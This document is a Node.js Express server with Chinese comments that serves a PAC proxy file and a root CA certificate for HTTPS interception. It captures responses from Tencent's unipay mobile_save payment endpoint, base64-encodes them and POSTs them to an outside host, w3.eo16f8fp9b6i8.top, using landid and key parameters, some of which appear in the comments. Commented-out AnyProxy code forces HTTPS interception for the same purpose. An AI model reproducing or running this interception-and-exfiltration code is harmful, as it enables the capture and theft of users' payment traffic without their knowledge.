const express = require("express");
const path = require("path");
const fs = require("fs");
const https = require("https");

// const AnyProxy = require("anyproxy");
const querystring = require("querystring");

const pcMap = {}

// 创建 Express 应用用于接收日志服务器的 URL
const app = express();
app.use(express.json());
// 自定义日志中间件
const logMiddleware = (req, res, next) => {
  const userAgent = req.headers["user-agent"] || "Unknown";
  const clientIp = req.ip || req.connection.remoteAddress;
  const requestTime = new Date().toISOString();
  console.log(
    `[${requestTime}] 请求来自 IP: ${clientIp}, UA: ${userAgent}, URL: ${req.url}`
  );
  next();
};

// 使用自定义日志中间件
app.use(logMiddleware);

// 服务器域名，可能会变动  https://w3.eo16f8fp9b6i8.top/admin/home
const server_host = 'w3.eo16f8fp9b6i8.top'

// 指定要拦截的域名列表
// const interceptedDomains = ["example.com", "anotherdomain.com"]; // 修改为您需要拦截的域名

// https://w2.eo16f8fp9b6i8.top/api/PublicAPI/AddQbUrlUp?landid=784163&key=LTwb2HUnHhYDCz8d0Tp8pqCpI8XhptUK
// 设置日志服务器 URL 的端点
app.all("/proxy/set-log-server", (req, res) => {
  const id = req.query.id
  const key = req.query.key
  const pcId = req.query.pc
  
  if (!id || !key) {
    return res.status(400).send({ message: "缺少 url 参数" });
  }
  const logServerUrl = { hostname: req.headers.origin?.replace('https://',''), path: `/api/PublicAPI/AddQbUrlUp?landid=${id}&key=${key}` };
  pcMap[pcId] = logServerUrl
  console.log(` PC-${pcId}  URL 已设置为: ${logServerUrl.path}`);
  res.send({ message: ` PC-${pcId}  URL 设置成功`, url: logServerUrl.hostname + logServerUrl.path,origin:req.headers.origin?.replace('https://','') });
});

app.get("/proxy/get-pc-setting", (req, res) => {
  const pcId = req.query.pc

  if(pcMap[pcId]){
    res.send(pcMap[pcId]);
  }else{
    res.send(pcMap);
  }
});


app.post("/proxy/reqable", (req, res) => {
  const pcId = req.query.pc
  const postParams = req.body?.log?.entries?.[0] || {};

  const url = postParams?.request?.url ?? "";

  const payload = postParams?.response?.content?.text ?? "";

  let buff = Buffer.from(payload);
  let base64data = buff.toString("base64");

  console.log("%c Line:59 🍐 url", "color:#2eafb0", url);
  if (
    /^https:\/\/api\.unipay\.qq\.com\/v1\/r\/\d+\/mobile_save/.test(url)
  ) {
    report(
      {
        base64Str: base64data,
        gamurl: url,
      },
      pcMap[pcId]
    );
  }
  res.send({ message: `代理成功`, });
});


app.get("/proxy/get-pac", (req, res) => {
  const pacFilePath = path.join(__dirname, "proxy.pac"); // 根据实际路径调整
  fs.readFile(pacFilePath, "utf8", (err, data) => {
    if (err) {
      console.error("读取 PAC 文件时发生错误:", err);
      return res.status(500).send("读取 PAC 文件失败");
    }
    res.set("Content-Type", "application/x-ns-proxy-autoconfig");
    res.send(data);
  });
});

app.get("/proxy/get-root-ca", (req, res) => {
  const pacFilePath = path.join(__dirname, "../certificates/da5638e3.0"); // 根据实际路径调整
  fs.readFile(pacFilePath, "utf8", (err, data) => {
    if (err) {
      console.error("读取 PAC 文件时发生错误:", err);
      return res.status(500).send("读取 PAC 文件失败");
    }
    res.set("Content-Type", "application/x-ns-proxy-autoconfig");
    res.send(data);
  });
});

const report = (formData, options) => {
  console.log(
    "%c Line:10 🥐 收到 demo 数据",
    "color:#2eafb0",
    options,
    formData,
    options
  );

  if(!options?.path) {
    console.error("%c Line:110 🎂  path 不正确，服务器url 未设置", "color:#4fff4B");
    return 
  }

  if (formData.demo) {
    console.log(
      "%c Line:10 🥐 收到 demo 数据",
      "color:#2eafb0",
      options,
      formData
    );
    return formData;
  }

  // 将表单数据转换为 x-www-form-urlencoded 格式
  const formDataString = querystring.stringify(formData);

  // 设置请求选项
  //  'https://w2.eo16f8fp9b6i8.top/api/PublicAPI/AddQbUrlUp?landid=510543&key=74d0gGK3dg5txVqVW04tbeSpq48rdem0'
  const _options = {
    hostname: options.hostname,
    path: options.path,
    // path: "/api/PublicAPI/AddQbUrlUp?landid=510543&key=74d0gGK3dg5txVqVW04tbeSpq48rdem0",
    method: "POST",
    headers: {
      "Content-Type": "application/x-www-form-urlencoded",
      "Content-Length": Buffer.byteLength(formDataString),
    },
  };



  // 创建一个可写流来发送请求
  const req = https.request(_options, (res) => {
    let data = "";

    // 读取响应数据
    res.on("data", (chunk) => {
      data += chunk;
    });

    // 响应结束时处理数据
    res.on("end", () => {
      console.log("请求上报成功:", data);
    });
  });

  // 处理请求错误
  req.on("error", (e) => {
    console.error(`请求上报失败: ${e.message}`);
  });

  // 发送请求体
  req.write(formDataString);
  req.end();
};

// 启动 Express 服务
const LOG_SERVER_PORT = 8002; // 您可以根据需要更改端口
app.listen(LOG_SERVER_PORT, () => {
  console.log(`日志服务器设置服务正在运行，端口: ${LOG_SERVER_PORT}`);
});



// const rules = {
//   *beforeSendResponse(requestDetail, responseDetail) {
//     console.log("  Line:4 🍏 requestDetail.url", requestDetail.url);
//     const base64Str = responseDetail.response.body.toString("base64");

//     // if (/^https:\/\/api\.unipay\.qq\.com\/v1\/r\/\d+\/mobile_save/.test(url)) {
//     if (/^https:\/\/baidu/.test(requestDetail.url)) {
//       report({
//         base64Str,
//         gamurl: requestDetail.url,
//         demo: true,
//       });
//     }
//   },
// };

// const options = {
//   port: LOG_SERVER_PORT - 2,
//   rule: rules,
//   webInterface: {
//     enable: true,
//     webPort: LOG_SERVER_PORT - 1,
//   },
//   throttle: 10000,
//   forceProxyHttps: true,
//   wsIntercept: false, // 不开启websocket代理
//   silent: false,
// };

// const proxyServer = new AnyProxy.ProxyServer(options);

// proxyServer.on("ready", () => {
//   console.log("%c Line:20 🍣 ready", "color:#4fff4B");
// });
// proxyServer.on("error", (e) => {
//   /* */
// });

// proxyServer.start();
